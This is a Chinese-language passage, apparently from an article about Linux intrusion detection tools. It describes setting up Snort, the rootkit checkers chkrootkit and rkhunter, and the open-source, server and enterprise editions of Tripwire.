正如一位可信任的老人,随着年龄的增长,Snort也愈发成熟。它是一款轻量级且易于使用的工具,可以独立运行,也可以与psad和 iptables一起使用。我们可以从Linux的发行版本的程序库中找到并安装它,比起过去的源代码安装这应该是一个很大的进步。至于保持其规则的更新问题,也是同样的简单,因为作为Snort的规则更新程序和管理程序,oinkmaster也在Linux发行版本的程序库中。 Snort易于管理,虽然它有一些配置上的要求。要开始使用它,默认的配置对大多数网络系统并不适用,因为它将所有不需要的规则也包括在其中。所以我们要做的第一件事情是清除所有不需要的规则,否则就会损害性能,并会生成一些虚假的警告。
另外一个重要的策略是要以秘密模式运行Snort,也就是说要监听一个没有IP地址的网络接口。在没有为它分配IP地址的接口上,如 ifconfig eth0 up,以-i选项来运行Snort,如snort –i eth0。还有可能发生这样的事情:如果你的网络管理程序正运行在系统中,那它就会“有助于”展现出还没有配置的端口,因此建议还是清除网络管理程序。
Snort可以收集大量的数据,因此需要添加BASE(基本分析和安全引擎),以便于获得一个友好的可视化的分析工具,它以较老的ACID(入侵数据库分析控制台)为基础。
简洁方便:chkrootkit和rootkit
Rootkit检测程序chkrootkit和rootkit Hunter也算是老牌的rootkit检测程序了。很明显,在从一个不可写的外部设备运行时,它们是更可信任的工具,如从一个CD或写保护的USB驱动器上运行时就是这样。笔者喜欢SD卡,就是因为那个写保护的的开关。这两个程序可以搜索已知的rooktkit、后门和本地的漏洞利用程序,并且可以发现有限的一些可疑活动。我们需要运行这些工具的理由在于,它们可以查看文件系统上的/proc、ps和其它的一些重要的活动。虽然它们不是用于网络的,但却可以快速扫描个人计算机。
多面手:Tripwire
Tripwire是一款入侵检测和数据完整性产品,它允许用户构建一个表现最优设置的基本服务器状态。它并不能阻止损害事件的发生,但它能够将目前的状态与理想的状态相比较,以决定是否发生了任何意外的或故意的改变。如果检测到了任何变化,就会被降到运行障碍最少的状态。
如果你需要控制对Linux或UNIX服务器的改变,可以有三个选择:开源的Tripwire、服务器版Tripwire、企业版Tripwire。虽然这三个产品有一些共同点,但却拥有大量的不同方面,使得这款产品可以满足不同IT环境的要求。
如开源的Tripwire对于监视少量的服务器是合适的,因为这种情形并不需要集中化的控制和报告;服务器版Tripwire对于那些仅在 Linux/UNIX/Windows平台上要求服务器监视并提供详细报告和最优化集中服务器管理的IT组织是一个理想的方案;而企业版Tripwire 对于需要在Linux/UNIX/Windows服务器、数据库、网络设备、桌面和目录服务器之间安全地审核配置的IT组织而言是最佳选择。